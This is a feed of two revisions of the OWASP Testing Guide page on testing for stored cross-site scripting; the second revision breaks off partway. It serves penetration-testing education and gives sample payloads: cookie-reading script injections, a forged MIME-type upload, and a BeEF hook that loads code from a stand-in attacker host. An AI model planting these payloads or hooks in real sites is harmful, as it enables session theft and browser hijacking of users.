		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142058</id>
		<title>Testing for Stored Cross site scripting (OTG-INPVAL-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142058"/>
				<updated>2013-01-09T12:12:09Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Stored [[Cross-site Scripting (XSS)]] is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be used to conduct a number of browser-based attacks including:&lt;br /&gt;
&lt;br /&gt;
* Hijacking another user's browser&lt;br /&gt;
* Capturing sensitive information viewed by application users&lt;br /&gt;
* Pseudo defacement of the application&lt;br /&gt;
* Port scanning of internal hosts (&amp;quot;internal&amp;quot; in relation to the users of the web application)&lt;br /&gt;
* Directed delivery of browser-based exploits&lt;br /&gt;
* Other malicious activities&lt;br /&gt;
&lt;br /&gt;
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:&lt;br /&gt;
&lt;br /&gt;
* Attacker stores malicious code into the vulnerable page&lt;br /&gt;
* User authenticates in the application&lt;br /&gt;
* User visits vulnerable page&lt;br /&gt;
* Malicious code is executed by the user's browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;This type of attack can also be exploited with browser exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.&lt;br /&gt;
&lt;br /&gt;
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The process for identifying stored XSS vulnerabilities is similar to the process described during the [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]].&lt;br /&gt;
&lt;br /&gt;
'''Input Forms'''&lt;br /&gt;
&lt;br /&gt;
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:&lt;br /&gt;
&lt;br /&gt;
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.&lt;br /&gt;
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later&lt;br /&gt;
* File Manager: application that allows upload of files&lt;br /&gt;
* Application settings/preferences: application that allows the user to set preferences&lt;br /&gt;
* Forum/Message board: application that permits exchange of posts among users&lt;br /&gt;
* Blog: if the blog application permits to users submitting comments&lt;br /&gt;
* Log: if the application stores some users input into logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Analyze HTML code'''&lt;br /&gt;
&lt;br /&gt;
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Email stored data in index2.php&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_input_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code of index2.php where the email value is located:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the pen-tester needs to find a way to inject code outside the &amp;lt;input&amp;gt; tag as below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt; MALICIOUS CODE &amp;lt;!-- /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Stored XSS'''&lt;br /&gt;
&lt;br /&gt;
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;alert(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected''':&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_xss_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code following the injection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
The input is stored and the XSS payload is executed by the browser when reloading the page.&amp;lt;br&amp;gt;&lt;br /&gt;
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string &amp;quot;SCRIPT&amp;quot; is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]] chapter). It is strongly recommended that testers refer to [[XSS Filter Evasion Cheat Sheet|XSS Filter Evasion]] ,  [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.&lt;br /&gt;
&lt;br /&gt;
'''Leverage Stored XSS with BeEF'''&lt;br /&gt;
&lt;br /&gt;
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:&lt;br /&gt;
&lt;br /&gt;
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)&lt;br /&gt;
* Waiting for the application user to view the vulnerable page where the stored input is displayed&lt;br /&gt;
* Control the application user’s browser via the BeEF console&lt;br /&gt;
&lt;br /&gt;
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: BeEF Injection in index2.php:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com”&amp;gt;&amp;lt;script src=http://attackersite/beef/hook/beefmagic.js.php&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected'''&lt;br /&gt;
&lt;br /&gt;
[[Image:BeEF_in_action.jpg]]&lt;br /&gt;
&lt;br /&gt;
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.&lt;br /&gt;
&lt;br /&gt;
'''File Upload'''&lt;br /&gt;
&lt;br /&gt;
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP POST request for file upload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /fileupload.aspx HTTP/1.1&lt;br /&gt;
[…]&lt;br /&gt;
&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.txt&amp;quot;&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
test&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.&lt;br /&gt;
&lt;br /&gt;
HTTP POST Request forged:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.gif&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.&lt;br /&gt;
 &lt;br /&gt;
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:&lt;br /&gt;
&lt;br /&gt;
* Use front-end application and enter input with special/invalid characters&lt;br /&gt;
* Analyze application response(s)&lt;br /&gt;
* Identify presence of input validation controls&lt;br /&gt;
* Access back-end system and check if input is stored and how it is stored&lt;br /&gt;
* Analyze source code and understand how stored input is rendered by the application&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables used in input forms should be analyzed.&lt;br /&gt;
&lt;br /&gt;
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
The following table summarizes some special variables and functions to look at when analyzing source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''PHP''' || '''ASP''' || '''JSP'''&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
* $_GET - HTTP GET variables&lt;br /&gt;
* $_POST - HTTP POST variables&lt;br /&gt;
* $_REQUEST – http POST, GET and COOKIE variables&lt;br /&gt;
* $_FILES - HTTP File Upload variables&lt;br /&gt;
|| &lt;br /&gt;
* Request.QueryString - HTTP GET&lt;br /&gt;
* Request.Form - HTTP POST&lt;br /&gt;
* Server.CreateObject - used to upload files&lt;br /&gt;
|| &lt;br /&gt;
* doGet, doPost servlets - HTTP GET and POST&lt;br /&gt;
* request.getParameter - HTTP GET/POST variables&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klein: &amp;quot;Cross-site Scripting Explained&amp;quot; - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf&lt;br /&gt;
&lt;br /&gt;
* Gunter Ollmann: &amp;quot;HTML Code Injection and Cross-site Scripting&amp;quot; - http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
&lt;br /&gt;
* CGISecurity.com: &amp;quot;The Cross Site Scripting FAQ&amp;quot; - http://www.cgisecurity.com/xss-faq.html&lt;br /&gt;
&lt;br /&gt;
* Blake Frantz: &amp;quot;Flirting with MIME Types: A Browser's Perspective&amp;quot; - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.&lt;br /&gt;
&lt;br /&gt;
* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).&lt;br /&gt;
&lt;br /&gt;
* '''BeEF''' - http://www.beefproject.com&lt;br /&gt;
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
&lt;br /&gt;
* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/&lt;br /&gt;
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.&lt;br /&gt;
&lt;br /&gt;
* '''Burp''' - http://portswigger.net/burp/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. &lt;br /&gt;
&lt;br /&gt;
* '''XSS Assistant''' - http://www.greasespot.net/&lt;br /&gt;
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.&lt;br /&gt;
&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142057</id>
		<title>Testing for Stored Cross site scripting (OTG-INPVAL-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=142057"/>
				<updated>2013-01-09T12:11:25Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated link to beef - there's still a few updates that could be performed here - such as showing the modern/ruby beef&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Stored [[Cross-site Scripting (XSS)]] is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be used to conduct a number of browser-based attacks including:&lt;br /&gt;
&lt;br /&gt;
* Hijacking another user's browser&lt;br /&gt;
* Capturing sensitive information viewed by application users&lt;br /&gt;
* Pseudo defacement of the application&lt;br /&gt;
* Port scanning of internal hosts (&amp;quot;internal&amp;quot; in relation to the users of the web application)&lt;br /&gt;
* Directed delivery of browser-based exploits&lt;br /&gt;
* Other malicious activities&lt;br /&gt;
&lt;br /&gt;
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:&lt;br /&gt;
&lt;br /&gt;
* Attacker stores malicious code into the vulnerable page&lt;br /&gt;
* User authenticates in the application&lt;br /&gt;
* User visits vulnerable page&lt;br /&gt;
* Malicious code is executed by the user's browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;This type of attack can also be exploited with browser exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.&lt;br /&gt;
&lt;br /&gt;
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The process for identifying stored XSS vulnerabilities is similar to the process described during the [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]].&lt;br /&gt;
&lt;br /&gt;
'''Input Forms'''&lt;br /&gt;
&lt;br /&gt;
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:&lt;br /&gt;
&lt;br /&gt;
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.&lt;br /&gt;
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later&lt;br /&gt;
* File Manager: application that allows upload of files&lt;br /&gt;
* Application settings/preferences: application that allows the user to set preferences&lt;br /&gt;
* Forum/Message board: application that permits exchange of posts among users&lt;br /&gt;
* Blog: if the blog application permits to users submitting comments&lt;br /&gt;
* Log: if the application stores some users input into logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Analyze HTML code'''&lt;br /&gt;
&lt;br /&gt;
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Email stored data in index2.php&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_input_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code of index2.php where the email value is located:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the pen-tester needs to find a way to inject code outside the &amp;lt;input&amp;gt; tag as below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt; MALICIOUS CODE &amp;lt;!-- /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Stored XSS'''&lt;br /&gt;
&lt;br /&gt;
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;alert(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected''':&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_xss_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code following the injection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
The input is stored and the XSS payload is executed by the browser when reloading the page.&amp;lt;br&amp;gt;&lt;br /&gt;
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string &amp;quot;SCRIPT&amp;quot; is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [[Testing for Reflected Cross site scripting (OWASP-DV-001)|testing for reflected XSS]] chapter). It is strongly recommended that testers refer to [[XSS Filter Evasion Cheat Sheet|XSS Filter Evasion]] ,  [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.&lt;br /&gt;
&lt;br /&gt;
'''Leverage Stored XSS with BeEF'''&lt;br /&gt;
&lt;br /&gt;
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.beefproject.com BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:&lt;br /&gt;
&lt;br /&gt;
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)&lt;br /&gt;
* Waiting for the application user to view the vulnerable page where the stored input is displayed&lt;br /&gt;
* Control the application user’s browser via the BeEF console&lt;br /&gt;
&lt;br /&gt;
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: BeEF Injection in index2.php:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com”&amp;gt;&amp;lt;script src=http://attackersite/beef/hook/beefmagic.js.php&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected'''&lt;br /&gt;
&lt;br /&gt;
[[Image:BeEF_in_action.jpg]]&lt;br /&gt;
&lt;br /&gt;
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.&lt;br /&gt;
&lt;br /&gt;
'''File Upload'''&lt;br /&gt;
&lt;br /&gt;
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP POST request for file upload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /fileupload.aspx HTTP/1.1&lt;br /&gt;
[…]&lt;br /&gt;
&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.txt&amp;quot;&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
test&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.&lt;br /&gt;
&lt;br /&gt;
HTTP POST Request forged:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;uploadfile1&amp;quot;; filename=&amp;quot;C:\Documents and Settings\test\Desktop\test.gif&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.&lt;br /&gt;
 &lt;br /&gt;
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:&lt;br /&gt;
&lt;br /&gt;
* Use front-end application and enter input with special/invalid characters&lt;br /&gt;
* Analyze application response(s)&lt;br /&gt;
* Identify presence of input validation controls&lt;br /&gt;
* Access back-end system and check if input is stored and how it is stored&lt;br /&gt;
* Analyze source code and understand how stored input is rendered by the application&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables used in input forms should be analyzed.&lt;br /&gt;
&lt;br /&gt;
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
The following table summarizes some special variables and functions to look at when analyzing source code:&lt;br /&gt;
&lt;br /&gt;
